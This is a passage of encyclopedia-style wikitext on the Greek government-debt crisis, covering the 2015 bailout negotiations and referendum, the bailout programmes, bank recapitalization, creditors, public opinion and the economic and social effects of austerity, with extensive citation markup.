Facing sovereign default, the government made new proposals in the first<ref name="Negotiation status 02-06-2015">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite1_1_02/06/2015_550596|title=Greece, creditors line up rival reform proposals to unlock aid|publisher=Kathimerini (Reuters)|date=2 June 2015}}</ref> and second half of June.<ref name="Negotiation status 22-06-2015">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_22/06/2015_551355|title=Greek bailout talks to continue, debt relief to be discussed after program implemented|publisher=Kathimerini|date=22 June 2015}}</ref> Both were rejected, raising the prospect of recessionary [[capital controls]] to avoid a [[bank run|collapse of the banking sector]] – and exit from the Eurozone.<ref name="3 scenarios for Greece">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite1_1_12/06/2015_550989|title=As debt deadline looms, which way will Greece go?|publisher=Kathimerini (Reuters)|date=12 June 2015}}</ref><ref name="ECB will stop ELA if Greece defaults">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_12/06/2015_550982|title=Fearful ECB starts countdown on Greek funding lifeline|publisher=Kathimerini (Reuters)|date=12 June 2015}}</ref>

The government unilaterally broke off negotiations on 26 June.<ref name="Greek negotiators withdrew when informed by Tsipras about referendum on twitter">{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite1_1_28/06/2015_551602|title=Greek negotiators learned of referendum proposal from Twitter|publisher=Kathimerini (Bloomberg)|date=28 June 2015}}</ref><ref name="Eurogroup statement 27-06-2015">{{cite web|url=http://www.consilium.europa.eu/en/press/press-releases/2015/06/27-eurogroup-statement-greece/|title=Eurogroup statement on Greece|publisher=Council of the European Union|date=27 June 2015}}</ref><ref name="European Commission statement 28-06-2015">{{cite web|url=http://europa.eu/rapid/press-release_IP-15-5270_en.htm|title=European Commission – Press release: Information from the European Commission on the latest draft proposals in the context of negotiations with Greece|publisher=European Commission|date=28 June 2015}}</ref><ref name="Eurogroup presidential remarks 27-06-2015">{{cite web|url=http://www.consilium.europa.eu/press-releases-pdf/2015/6/40802199988_en.pdf|title=Remarks by Eurogroup President at the intermediary Eurogroup press conference on 27 June 2015|format=pdf|publisher=Council of the European Union|date=27 June 2015}}</ref> [[Alexis Tsipras|Tsipras]] announced that a [[Greek economy referendum, 2015|referendum]] would be held on 5 July to approve or reject the Troika's 25 June proposal.<ref name="Referendum 2015">{{cite news|url=http://www.bbc.co.uk/news/world-europe-33296839|title=Greece debt crisis: Tsipras announces bailout referendum|publisher=BBC News|date=27 June 2015}}</ref> The [[Athens Exchange|Greek stock market]] closed on 27 June.<ref>{{cite news|last1=Udland|first1=Myles|title=REPORT: Greece's stock market will be closed for at least a week|url=http://www.businessinsider.com/kathimerini-reports-greek-stock-market-will-be-closed-for-a-week-2015-6|accessdate=1 July 2015|work=[[Business Insider]]|date=28 June 2015}}</ref>

The government campaigned for rejection of the proposal, while four opposition parties ([[PASOK]], [[To Potami]], [[KIDISO]] and [[New Democracy (Greece)|New Democracy]]) objected that the proposed referendum was unconstitutional. They petitioned for the [[Greek parliament|parliament]] or [[Greek president|president]] to reject the referendum proposal.<ref name="Opposition rejects referendum">{{cite web|url=http://www.emea.gr/βενιζέλος-«αντισυνταγματικό-το-δημο/450891|script-title=el:Βενιζέλος: "Αντισυνταγματικό το δημοψήφισμα!"|language=Greek|publisher=Emea|date=27 June 2015}}</ref> Meanwhile, the Eurogroup announced that the existing second bailout agreement would technically expire on 30 June, 5 days before the referendum.<ref name="Eurogroup statement 27-06-2015" /><ref name="Eurogroup presidential remarks 27-06-2015" />

The Eurogroup clarified on 27 June that only if an agreement was reached prior to 30 June could the bailout be extended until the referendum on 5 July. The Eurogroup wanted the government to take some responsibility for the subsequent program, presuming that the referendum resulted in approval.<ref name="Eurogroup press conference 27-06-2015">{{cite web|url=http://video.consilium.europa.eu/webcast.aspx?ticket=775-983-16066|title=Eurogroup meeting – Press Conference: Saturday, 27 June 2015 at 17:15 CET|publisher=Council of the European Union|date=27 June 2015}}</ref> The Eurogroup had signaled willingness to uphold their "November 2012 debt relief promise", presudming a final agreement.<ref name="Negotiation status 22-06-2015" /> This promise was that if Greece completed the program, but its debt-to-GDP ratio subsequently was forecast to be over 124% in 2020 or 110% in 2022 for any reason, then the Eurozone would provide debt-relief sufficient to ensure that these two targets would still be met.<ref name="Debt relief agreement 2012">{{cite web|url=http://www.consilium.europa.eu/press/press-releases/2012/11/pdf/Eurogroup-statement-on-Greece-27-11/|title=Eurogroup statement on Greece (27 November 2012)|publisher=Council of the European Union|date=27 November 2012}}</ref>

On 28 June the referendum was approved by the Greek parliament with no interim bailout agreement. The [[European Central Bank|ECB]] decided to maintain its Emergency Liquidity Assistance to Greek banks. Many Greeks continued to withdraw cash from their accounts fearing that capital controls would soon be invoked.

On 5 July a large majority [[Greek bailout referendum, 2015|voted]] to reject the bailout terms (a 61% to 39% decision with 62.5% voter turnout). This caused stock indexes worldwide to tumble, fearing Greece's potential exit from the Eurozone ("Grexit"). Following the vote, Greece's finance minister [[Yanis Varoufakis]] stepped down on 6 July and was replaced by [[Euclid Tsakalotos]].<ref>{{cite news|url = http://www.wsj.com/articles/new-greek-finance-minister-tsakalotos-thrown-into-the-debt-crisis-hot-seat-1436213175|title = New Greek Finance Minister Euclid Tsakalotos Thrown Into the Debt Crisis Hot Seat|last = Bouras|first = Stelios|date = July 6, 2015|work = [[Wall Street Journal]]|access-date = July 7, 2015|via = }}</ref>

On 13 July, after 17 hours of negotiations, Eurozone leaders reached a provisional agreement on a third bailout programme, substantially the same as their June proposal.

== Bailout programmes ==
{{Main|Greek government-debt crisis countermeasures}}

=== First Economic Adjustment Programme (May 2010 – June 2011) ===
{{Main|First Economic Adjustment Programme for Greece}}
{{Contradicts other|date=December 2014|1=First Economic Adjustment Programme for Greece}}

On 1 May 2010, the Greek government announced a series of austerity measures<ref>{{cite news|url= http://www.in.gr/news/article.asp?lngEntityID=1132263|title=Fourth raft of new measures|publisher=In.gr|date=2 May 2010|accessdate=6 May 2010|language=el}}</ref><ref name="NY Times protest">{{cite news|title=Three Reported Killed in Greek Protests|author=Dan Bilefsky|date=5 May 2010|work=The New York Times|url=http://www.nytimes.com/2010/05/06/world/europe/06greece.html?src=me|accessdate=5 May 2010}}</ref> The next day the Eurozone countries and the IMF agreed to a three-year {{Nowrap|€110 billion}} loan, paying 5.5% interest,<ref>{{cite web|title=Revisiting Greece |work=The Observer at Boston College |url=http://www.thebcobserver.com/2011/11/02/revisiting-greece/ | date=2 November 2011}}</ref> conditional on the implementation of austerity measures. Credit rating agencies immediately downgraded Greek governmental bonds to an even lower junk status.

The [[Third austerity package (Greece)|programme]] was met with anger by the Greek public, leading to [[May 2010 Greek protests|protests]], riots and social unrest. On 5 May 2010, a national strike was held in opposition.<ref name="NY Times protest" /> Nevertheless, the austerity package was approved on 29 June 2011, with 155 out of 300 members of parliament voting in favour.
[[File:2011 Greece Uprising.jpg|thumb|100,000 people protest against the austerity measures in front of parliament building in Athens (29 May 2011).]]
[[File:George Papandreou and Jose Manuel Barroso.jpg|thumb|upright|Former Prime Minister [[George Papandreou]] and former European Commission President [[José Manuel Barroso]] after their meeting in Brussels on 20 June 2011.]]

=== Second Economic Adjustment Programme (July 2011 – ) ===
{{Main|Second Economic Adjustment Programme for Greece}}

At a 21 July 2011 summit in Brussels, Euro area leaders agreed to extend Greek (as well as Irish and Portuguese) loan repayment periods from 7 years to a minimum of 15 years and to cut interest rates to 3.5%. They also approved an additional {{Nowrap|€109 billion}} support package, with exact content to be finalized at a later summit.<ref name="autogenerated1">[http://www.european-council.europa.eu/home-page/highlights/a-common-response-to-the-crisis-situation.aspx?lang=en "A common response to the crisis situation"], European Council webpage.</ref> On 27 October 2011, Eurozone leaders and the IMF settled an agreement with banks whereby they accepted a 50% write-off of (part of) Greek debt.<ref name="Skai 50">{{cite web|url=http://www.skai.gr/news/politics/article/184567/kourema-50-tou-ellinikou-hreous/ |title="Κούρεμα" 50% του ελληνικού χρέους" |publisher=[[Skai TV]] |date=27 October 2011|accessdate=27 October 2011}}</ref><ref name="BBC 50">{{cite news|url=http://www.bbc.co.uk/news/world-europe-15478358 |title=Barroso: Europe 'closer to resolving eurozone crisis' |publisher=[[BBC]] |date=27 October 2011|accessdate=27 October 2011}}</ref><ref name="Bloomberg 50">{{cite news|url=http://www.bloomberg.com/news/2011-10-27/papandreou-says-new-funding-gives-greece-time-new-prospects.html |title=Papandreou: EU Deal Gives Greeks Time |publisher=[[Bloomberg L.P.|Bloomberg]] |date=27 October 2011|accessdate=27 October 2011 |first1=Maria |last1=Petrakis |first2=Natalie |last2=Weeks}}</ref>

Greece brought down its primary deficit from €25bn (11% of GDP) in 2009 to €5bn (2.4% of GDP) in 2011.<ref name="SZ-staat-neu">{{cite news |url=http://www.sueddeutsche.de/wirtschaft/sparpaket-in-griechenland-der-ganze-staat-soll-neu-gegruendet-werden-1.1282482 |title=Der ganze Staat soll neu gegründet werden |publisher=Sueddeutsche |date=13 February 2012 |accessdate=13 February 2012}}</ref> However, the Greek recession worsened. Overall 2011 Greek GDP experienced a 7.1% decline.<ref>{{cite web|title=Real GDP Growth Rate|url=http://epp.eurostat.ec.europa.eu/tgm/table.do?tab=table&init=1&plugin=1&language=en&pcode=tec00115|publisher=Eurostat|accessdate=26 May 2013}}</ref> The unemployment rate grew from 7.5% in September 2008 to an unprecedented 19.9% in November 2011.<ref name="Eurostat-unemployment">{{cite news |url=http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/3-01032012-AP/EN/3-01032012-AP-EN.PDF |title=Eurostat Newsrelease 31/2012: Euro area unemployment rate at 10.7% in January 2012|work=Eurostat |date=1 March 2012 |accessdate=5 March 2012}}</ref><ref name="google-unemployment-data">{{cite news |url=http://www.google.com/publicdata/explore?ds=z8o7pt6rd5uqa6_&ctype=l&strail=false&bcs=d&nselm=h&met_y=unemployment_rate&fdim_y=seasonality:sa&scale_y=lin&ind_y=false&rdim=country_group&idim=country_group:eu:non-eu&idim=country:de:gr:es&ifdim=country_group&tstart=410482800000&tend=1322953200000&hl=en&dl=en |title=Seasonally adjusted unemployment rate |work=Google/Eurostat |date=10 November 2011 |accessdate=7 February 2012}}</ref>

=== Bank recapitalization ===
The Hellenic Financial Stability Fund (HFSF) completed a €48.2bn bank recapitalization in June 2013, of which the first €24.4bn were injected into the four biggest Greek banks. Initially, this recapitalization was accounted for as a debt increase that elevated the debt-to-GDP ratio by 24.8 points by the end of 2012. In return for this, the government received shares in those banks, which it could later sell (per March 2012 was expected to generate €16bn of extra "privatization income" for the Greek government, to be realized during 2013–2020).ecb

HFSF offered three out of the four big Greek banks ([[National Bank of Greece|NBG]], [[Alpha Bank|Alpha]] and [[Piraeus Bank|Piraeus]]) [[warrant (finance)|warrants]] to buy back all HFSF bank shares in semi-annual exercise periods up to December 2017, at some predefined strike prices.,<ref name="Second Economic Adjustment Programme for Greece (Third review July 2013)">{{cite web|url=http://ec.europa.eu/economy_finance/publications/occasional_paper/2013/pdf/ocp159_en.pdf|title=The Second Economic Adjustment Programme for Greece (Third review July 2013)|date=29 July 2013|publisher=European Commission|format=PDF|accessdate=22 January 2014}}</ref> These banks acquired additional private investor capital contribution at minimum 10% of the conducted recapitalization. [[Eurobank Ergasias|Eurobank]], failed to attract private investor participation and thus became almost entirely financed/owned by HFSF. During the first warrant period, the shareholders in Alpha bank bought back the first 2.4% of HFSF shares.<ref>{{cite news|url=http://www.reuters.com/article/2013/12/11/alphabank-warrants-idUSL6N0JQ1E220131211|title=Investors exercise about 2.4 pct of Alpha Bank warrants|publisher=Reuters|date=11 December 2013|accessdate=11 December 2013}}</ref> Shareholders in Piraeus Bank bought back the first 0.07% of HFSF shares.<ref>{{cite web|url=http://www.piraeusbankgroup.com/en/press-office/press-release/2014/01/apotelesma-askisis-parastatikwn-titlwn-ktisis-metoxw|title=Results of the exercise of titles representing share ownership rights (Warrants) – 1st Exercise (02/01/2014)|publisher=Piraeus Bank|date=8 January 2014|accessdate=8 January 2014}}</ref> National Bank (NBG) shareholders bought back the first 0.01% of the HFSF shares, because the market share price was cheaper than the strike price.<ref>{{cite news|url=http://www.reuters.com/article/2013/12/31/greece-nbg-warrants-idUSL6N0KA0WH20131231|title=Investors exercise fraction of Greece's National Bank warrants|publisher=Reuters|date=31 December 2013|accessdate=31 December 2013}}</ref> Shares not sold by the end of December 2017 may be sold to alternative investors.<ref name="Second Economic Adjustment Programme for Greece (Third review July 2013)" />

In May 2014, a second round of bank recapitalization worth €8.3bn was concluded, financed by private investors. All six commercial banks (Alpha, Eurobank, NBG, Piraeus, [[Attica Bank|Attica]] and Panellinia) participated.<ref name="Second Economic Adjustment Programme for Greece (Fourth review April 2014)" /> HFSF did not tap into their current €11.5bn reserve capital fund.<ref>{{cite web|url=http://www.hfsf.gr/files/press_release_20140509_en.pdf|title=Press Release: National Bank of Greece's Share Capital Increase|format=PDF|publisher=HFSF|date=9 May 2014}}</ref> [[Eurobank Ergasias|Eurobank]] in the second round was bale to attract private investors.<ref>{{cite web|url=http://www.hfsf.gr/files/press_release_20140415_en.pdf|title=Press Release: Approval of the Institutional Investors Group for Eurobank’s Share Capital Increase|format=PDF|publisher=HFSF|date=15 April 2014}}</ref> This required HFSF to dilute their ownership from 95.2% to 34.7%.<ref>{{cite web|url=http://www.macropolis.gr/?i=portal.en.the-agora.1120|title=Are investors getting a bargain with Eurobank?|publisher=MacroPolis|date=16 April 2014}}</ref>

According to HFSF's third quarter 2014 financial report, the fund expected to recover €27.3bn out of the initial €48.2bn. This amount included "A €0.6bn positive cash balance stemming from its previous selling of warrants (selling of recapitalization shares) and liquidation of assets, €2.8bn estimated to be recovered from liquidation of assets held by its 'bad asset bank', €10.9bn of EFSF bonds still held as capital reserve, and €13bn from its future sale of recapitalization shares in the four systemic banks." The last figure is affected by the highest amount of uncertainty, as it directly reflects the current market price of the remaining shares held in the four systemic banks (66.4% in Alpha, 35.4% in Eurobank, 57.2% in NBG, 66.9% in Piraeus), which for HFSF had a combined market value of €22.6bn by the end of 2013 – declining to €13bn on 10 December 2014.<ref>{{cite web|url=http://www.hfsf.gr/files/announcement_20141211_en.pdf|title=Announcement: Interim Financial Report of the Hellenic Financial Stability Fund – December 2014|format=PDF|publisher=Hellenic Financial Stability Fund|date=11 December 2014}}</ref>

Once HFSF liquidates its assets, the total amount of recovered capital will be returned to the Greek government to help to reduce its debt. In early December 2014, the [[Bank of Greece]] allowed HFSF to repay the first €9.3bn out of its €11.3bn reserve to the Greek government.<ref>{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_05/12/2014_545197|title=Part of HFSF reserves set aside|publisher=Kathimerini|date=5 December 2014}}</ref> A few months later, the remaining HFSF reserves were likewise approved for repayment to ECB, resulting in redeeming €11.4bn in notes during the first quarter of 2015.<ref>{{cite web|url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_1_20/05/2015_550223|title=HFSF cash return brings state debt down by 11.4 bln|publisher=Kathimerini|date=20 May 2015}}</ref>

== Creditors ==
Initially, European banks had the largest holdings of Greek debt. However, this shifted as the "troika" (ECB, IMF and a European government-sponsored fund) purchased Greek bonds. As of early 2015, the largest individual contributors to the fund were Germany, France and Italy with roughly €130bn total of the €323bn debt.<ref>{{cite news|url=http://mobile.reuters.com/article/idUSKCN0P80XW20150628|title=How much Greece owes to international creditors|work=reuters.com | date=28 June 2015}}</ref> The IMF was owed €32bn and the ECB €20bn. Foreign banks had little Greek debt.<ref name="money.cnn.com">{{cite news|url=http://money.cnn.com/2015/01/28/investing/greek-debt-who-has-most-to-lose/index.html|title=Greek debt crisis: Who has most to lose?|author=Ivana Kottasova|date=28 January 2015|work=CNNMoney|accessdate=3 July 2015}}</ref>

=== European banks ===
Excluding Greek banks, European banks had €45.8bn exposure to Greece in June 2011.<ref name="European bank exposure to Greece">{{cite news |url=http://www.theguardian.com/news/datablog/2011/jun/17/greece-debt-crisis-bank-exposed|title=Greece debt crisis: how exposed is your bank?|publisher=Guardian Media|date=17 June 2011 |accessdate=22 February 2015}}</ref> However, by early 2015 their holdings had declined to roughly €2.4bn.<ref name="money.cnn.com" />

===European Investment Bank===
In November 2015, the [[European Investment Bank]] (EIB) lent Greece about 285 million euros. This extended the 2014 deal that EIB would lend 670 million euros.<ref>[http://en.trend.az/business/economy/2452416.html EIB, Greece sign 285M euro financing deal for energy projects] A. Mammadov, Economy news, 4 Nov 2015</ref> It was thought that the Greek government would invest the money on Greece's energy industries so as to ensure energy security and manage environmentally friendly projects.<ref>[http://www.energylivenews.com/2015/11/07/greece-granted-285m-for-energy-projects/ Greece granted £285m for energy projects] J. Echevarria, Energy Live News,7 Nov 2015</ref> [[Werner Hoyer]], the president of EIB, expected the investment to boost employment and have a positive impact on Greece's economy and environment.

== Greek public opinion ==
[[File:Riots in Athens 15.jpg|thumb|2008 riots in Athens]]
According to a poll in February 2012 by Public Issue and SKAI Channel, PASOK—which won the national elections of 2009 with 43.92% of the vote—had seen its approval rating decline to 8%, placing it fifth after centre-right New Democracy (31%), left-wing Democratic Left (18%), far-left Communist Party of Greece (KKE) (12.5%) and radical left Syriza (12%). The same poll suggested that Papandreou was the least popular political leader with a 9% approval rating, while 71% of Greeks did not trust him.<ref name="PollFeb2012">{{cite web|title=Poll Feb2012|url=http://www.skai.gr/news/politics/article/193925/antigrafotouvarometro-neo-politiko-skiniko-me-okto-kommata-sti-vouli-/|accessdate=14 Feb 2012|date=14 Feb 2012}}</ref>

In a May 2011 poll, 62% of respondents felt that the IMF memorandum that Greece signed in 2010 was a bad decision that hurt the country, while 80% had no faith in the [[Minister for Finance (Greece)|Minister of Finance]], [[Giorgos Papakonstantinou]], to handle the crisis.<ref name="Public Issue">{{cite web|title=Mνημόνιο ένα χρόνο μετά: Aποδοκιμασία, αγανάκτηση, απαξίωση, ανασφάλεια (One Year after the Memorandum: Disapproval, Anger, Disdain, Insecurity)|url=http://www.skai.gr/news/politics/article/169875/mnimonio-ena-hrono-meta-apodokimasia-aganaktisi-apaxiosi-anasfaleia|publisher=skai.gr|accessdate=18 May 2011|date=18 May 2011}}</ref> (Venizelos replaced Papakonstantinou on 17 June). 75% of those polled had a negative image of the IMF, while 65% felt it was hurting Greece's economy.<ref name="Public Issue" /> 64% felt that sovereign default was likely. When asked about their fears for the near future, Greeks highlighted unemployment (97%), poverty (93%) and the closure of businesses (92%).<ref name="Public Issue" />

Polls showed that the vast majority of Greeks are not in favour of leaving the Eurozone.<ref name="Helena Smith">{{cite news|url= http://www.theguardian.com/world/2010/may/09/greece-debt-crisis-euro-imf |title= The Greek spirit of resistance turns its guns on the IMF |author=Helena Smith |date=9 May 2010 |accessdate=10 May 2010 |work=The Guardian |location=UK }}</ref> [[Roger Bootle]], independent British economist and consultant, wrote, "there has been so much propaganda over the years about the merits of the euro and the perils of being outside it that both expert and popular opinion can barely see straight. It is true that default and a euro exit could endanger Greece's continued membership of the EU. More importantly, though, there is a strong element of national pride. For Greece to leave the euro would seem like a national humiliation. Mind you, quite how agreeing to decades of misery under German subjugation allows Greeks to hold their heads high defeats me."<ref name="RB 26Feb2012">{{cite news |url= http://www.telegraph.co.uk/finance/comment/rogerbootle/9107068/It-may-well-turn-out-that-we-are-watching-not-a-Greek-but-a-euro-tragedy.html |title= It may well turn out that we are watching not a Greek but a euro tragedy |author= Roger Bootle |date= 26 Feb 2012 |newspaper= The Sunday Telegraph |accessdate= 31 March 2012 |location=London}}</ref> Nonetheless, other 2012 polls showed that almost half (48%) of Greeks were in favour of default, in contrast with a minority (38%) who are not.<ref>{{el icon}} [http://tvxs.gr/news/ellada/dimoskopisi-481-yper-tis-xreokopias "Δημοσκόπηση: 48,1% υπέρ της χρεοκοπίας,"] tvxs.gr (12 February 2012)</ref>

== Economic and social effects ==
{{See also|2010–2012 Greek protests}}
[[File:Syntagma Square 'indignados'.png|thumb|Protests in Athens on 25 May 2011]]

=== Economic effects ===
Greek GDP's worst decline, −6.9%, came in 2011,<ref name="EU interim economic forecast for 2012">{{cite web |author1=Directorate-General for Economic |author2=Financial Affairs | authorlink = Directorate-General for Economic and Financial Affairs (European Commission) | date = February 2012 | title = Interim Forecast, February 2012 | url = http://ec.europa.eu/economy_finance/articles/eu_economic_situation/pdf/2012/2012-02-23-interim-forecast_en.pdf | accessdate = 11 November 2013 | publisher = European Commission }}</ref> a year in which seasonally adjusted industrial output ended 28.4% lower than in 2005.<ref name="Eurostat -industrial production 2011">{{cite news |url=http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/4-14022012-AP/EN/4-14022012-AP-EN.PDF |title=Eurostat Newsrelease 24/2012: Industrial production down by 1.1% in euro area in December 2011 compared with November 2011|work=Eurostat |date=14 February 2012 |accessdate=5 March 2012}}</ref><ref name="guardian-block20">{{cite news |url=http://www.theguardian.com/business/2012/feb/14/eurozone-crisis-live-uk-credit-rating-moodys-downgrade#block-20 |title=Eurozone debt crisis live: UK credit rating under threat amid Moody's downgrade blitz |publisher=Guardian |date=14 February 2012 |accessdate=14 February 2012 |location=London |first1=Graeme |last1=Wearden |first2=Juliette |last2=Garside}}</ref> During that year, 111,000 Greek companies went bankrupt (27% higher than in 2010).<ref name="Companies going bankrupt in 2011">{{cite news |url=http://www.sueddeutsche.de/wirtschaft/schuldenkrise-pleitewelle-rollt-durch-suedeuropa-1.1277487 |title=Pleitewelle rollt durch Südeuropa |work=Sueddeutsche Zeitung |date=7 February 2012 |accessdate=9 February 2012}}</ref><ref name="Drop in budget revenues">{{cite news |url=http://www.ekathimerini.com/4dcgi/_w_articles_wsite2_25206_07/02/2012_426623 |title=Dramatic drop in budget revenues |work=Ekathimerini |date=7 February 2012 |accessdate=16 February 2012 |first=Prokopis |last=Hatzinikolaou}}</ref> As a result, the seasonally adjusted unemployment rate grew from 7.5% in September 2008 to a then record high of 23.1% in May 2012, while the youth unemployment rate time rose from 22.0% to 54.9%.<ref name="Eurostat-unemployment" /><ref name="google-unemployment-data" /><ref name="unemploymentMay2012">{{cite web|title=Labour Force Survey: May 2012|url=http://www.statistics.gr/portal/page/portal/ESYE/BUCKET/A0101/PressReleases/A0101_SJO02_DT_MM_05_2012_01_F_EN.pdf|publisher=Hellenic Statistical Authority|accessdate=9 August 2012|location=Piraeus|date=9 August 2012}}</ref>

Key statistics are summarized below, with a detailed table at the bottom of the article. According to the CIA World Factbook and [[Eurostat]]:
* Greek [[GDP]] fell from €242 billion in 2008 to €179 billion in 2014, a 26% decline. Greece was in recession for over five years, emerging in 2014 by some measures.
* GDP per capita fell from a peak of €22,500 in 2007 to €17,000 in 2014, a 24% decline.
* The public debt to GDP ratio in 2014 was 177% of GDP or €317 billion. This ratio was the world's third highest after Japan and Zimbabwe. Public debt peaked at €356 billion in 2011; it was reduced by a bailout program to €305 billion in 2012 and then rose slightly.
* The annual budget deficit (expenses over revenues) was 3.4% GDP in 2014, much improved versus the 15% of 2009.
* Tax revenues for 2014 were €86 billion (about 48% GDP), while expenditures were €89.5 billion (about 50% GDP).
* The unemployment rate rose from below 10% (2005–2009) to around 25% (2014–2015).
* An estimated 44% of Greeks lived below the poverty line in 2014.<ref>{{cite web|url=http://ec.europa.eu/eurostat/data/database|title=Database – Eurostat|work=europa.eu}}</ref><ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/geos/gr.html|title=The World Factbook|work=cia.gov}}</ref>

Greece defaulted on a $1.7 billion IMF payment on June 29, 2015. The government had requested a two-year bailout from lenders for roughly $30 billion, its third in six years, but did not receive it.<ref>{{cite news|url=http://money.cnn.com/2015/06/30/news/economy/greece-imf-default/index.html|title=Greece defaults on $1.7 billion IMF payment|author1=Virginia Harrison |author2=Chris Liakos |date=30 June 2015|work=CNNMoney}}</ref>

The [[International Monetary Fund|IMF]] reported on 2 July 2015 that the "debt dynamics" of Greece were "unsustainable" due to its already high debt level and "...significant changes in policies since [2014]—not least, lower primary surpluses and a weak reform effort that will weigh on growth and privatization—[which] are leading to substantial new financing needs." The report stated that debt reduction (haircuts, in which creditors sustain losses through debt principal reduction) would be required if the package of reforms under consideration were weakened further.<ref>{{cite web|url=https://www.imf.org/external/pubs/cat/longres.aspx?sk=43044.0|title=Greece : Preliminary Draft Debt Sustainability Analysis|work=imf.org}}</ref>

===Taxation ===
{{expand section|date=May 2016}}
As of 2016, five indirect taxes had been added to goods and services. At 23%, the value added tax is one of the Eurozone's highest, exceeding other EU countries on small and medium-sized enterprises.<ref name="coffee"/> One researcher found that the poorest households faced tax increases of 337%.<ref>{{cite web|url=http://tvxs.gr/news/ellada/ereyna-337-ayksisi-foron-stoys-ftoxoys-ellines-9-stoys-ploysioys|title=Αύξηση φόρων 337% στους φτωχούς Έλληνες, 9% στους πλούσιους|work=TVXS - TV Χωρίς Σύνορα}}</ref>

The ensuing tax policies are accused for having the opposite effects than intended, namely reducing instead of increasing the revenues, as high taxation discourages transactions and encourages tax evasion, thus perpetuating the depression.<ref>{{cite news|url=http://www.kathimerini.gr/845083/article/oikonomia/ellhnikh-oikonomia/pws-oi-meiwseis-forwn-ay3anoyn-telika-ta-esoda}}</ref> Some firms relocated abroad to avoid the country's higher tax rates.<ref name="coffee">{{cite news|url=http://www.theguardian.com/world/2016/may/16/tax-hikes-greece-coffee-austerity-economy-bailout|title=Tax hikes threaten to brew up a storm for Greece's coffee drinkers|author=Helena Smith|date=16 May 2016}}</ref>

=== Social effects ===
The social effects of the austerity measures on the Greek population were severe.<ref name="EUo 06.10.2011">{{cite news |url=http://euobserver.com/851/113841 |title=Ordinary Greeks turning to NGOs as health system hit by austerity |author=Leigh Phillips |date=6 October 2011 |newspaper=EUobserver}}</ref>

[[File:EmploymentAndUnemploymentInGreece.png|thumb|upright=1.82|right|Employment and unemployment in Greece from 2004 to 2014]]

In February 2012, it was reported that 20,000 Greeks had been made homeless during the preceding year, and that 20 per cent of shops in the historic city centre of Athens were empty.<ref name="FT 17 February 2012">{{cite news |url=http://www.ft.com/cms/s/0/95df9026-5983-11e1-8d36-00144feabdc0.html |title=Grim effects of austerity show on Greek streets |author=Kerin Hope |date=17 February 2012 |newspaper=The Financial Times |accessdate=19 February 2012 |quote="At least I'm not starving, there are bakeries that give me something, and I can get leftover souvlaki [kebab] at a fast-food shop late at night," [one homeless Greek] said. "But there are many more of us now, so how long will that last?"}}</ref>

By 2015, the [[Organisation for Economic Co-operation and Development]] (OECD) reported that nearly twenty percent of Greeks lacked funds to meet daily food expenses. As the economy contracted and the [[welfare state]] declined, traditionally strong Greek [[family|families]] came under increasing strain, attempting to cope with increasing unemployment and homeless relatives. Many unemployed Greeks cycled between friends and family members until they ran out of options and ended up in [[homeless shelter]]s. These homeless had extensive work histories and were largely free of mental health and substance abuse concerns.<ref name="latmajortoll">{{cite news |last=Zeitchik|first=Steven|date=20 June 2015 |title=For many in Greece, the economic crisis takes a major toll: their homes |url=http://www.latimes.com/world/europe/la-fg-greece-crisis-homelessness-20150620-story.html#page=1|newspaper=[[Los Angeles Times]]|location=Athens |access-date=29 July 2015}}</ref>

The Greek government was unable to commit the necessary resources to homelessness, due in part to austerity measures. A program was launched to provide a stipend to assist homeless to return to their homes, but many enrollees never received grants. Various attempts were made by local governments and non-governmental agencies to alleviate the problem. The non-profit street newspaper ''Shedia'' ({{lang-el|Σχεδία}}),<ref name=shediaFacebook>{{cite web|title=Σχεδία Facebook page|url=https://www.facebook.com/shedia.streetpaper|website=shedia.streetpaper on Facebook|publisher=Facebook}}</ref> ''Raft'' is sold by street vendors in Athens attracted many homeless to sell the paper. Athens opened its own shelters, the first of which was called the ''Hotel Ionis''.<ref name="latmajortoll" /> In 2015, the Venetis bakery chain in Athens gave away ten thousand loaves of bread a day, one-third of its production. In some of the poorest neighborhoods, according to the chain's general manager, “In the third round of austerity measures, which is beginning now, it is certain that in Greece there will be no consumers — there will be only beggars."<ref name="nythartocollis">{{cite news |last=Hartocollis|first=Anemona|date=11 July 2015 |title=Greece Financial Crisis Hits Poorest and Hungriest the Hardest|url=http://www.nytimes.com/2015/07/12/world/europe/greece-debt-crisis-athens-poverty-inequality.html?_r=0|newspaper=[[New York Times]]|location=Athens |access-date=29 July 2015}}</ref>

== Responses ==

=== Grexit ===
[[Paul Krugman|Krugman]] suggested that the Greek economy could recover from the recession by exiting the Eurozone ("Grexit") and returning to its national currency, the drachma. That would restore Greece's control over its monetary policy, allowing it to navigate the trade-offs between inflation and growth on a national basis, rather than the entire Eurozone.<ref>[http://krugman.blogs.nytimes.com/2015/05/25/grexit-and-the-morning-after/?smid=tw-NytimesKrugman&seid=auto Grexit and the Morning After] P.R. Krugman, The New York Times, The Conscience of a Liberal, 25 May 2015</ref> Iceland made a dramatic recovery after it filed for bankruptcy in 2008, in part by devaluing the [[Icelandic krona|krona]] (ISK).<ref>[http://online.wsj.com/article/SB10001424052702304203604577396171007652042.html In European crisis, Iceland emerges as an island of recovery] The Wall Street Journal, 21 May 2012</ref><ref>[http://www.guardian.co.uk/world/2012/nov/23/iceland-recovers-voice-financial-crisis Iceland starts to recover its voice after financial crisis] The Guardian, World, 23 Nov 2012</ref> In 2013, it enjoyed an economic growth rate of some 3.3 percent.<ref name=oecdNAOCVol2014F>OECD, National Accounts of OECD Countries detailed tables 2006–2013, Volume 2014/2</ref> Canada was able to improve its budget position in the 1990s by devaluing its currency.<ref>{{cite news|url=http://krugman.blogs.nytimes.com/2015/07/08/policy-lessons-from-the-eurodebacle/?module=BlogPost-Title&version=Blog%20Main&contentCollection=Opinion&action=Click&pgtype=Blogs&region=Body|title=Log In - The New York Times|publisher=}}</ref>

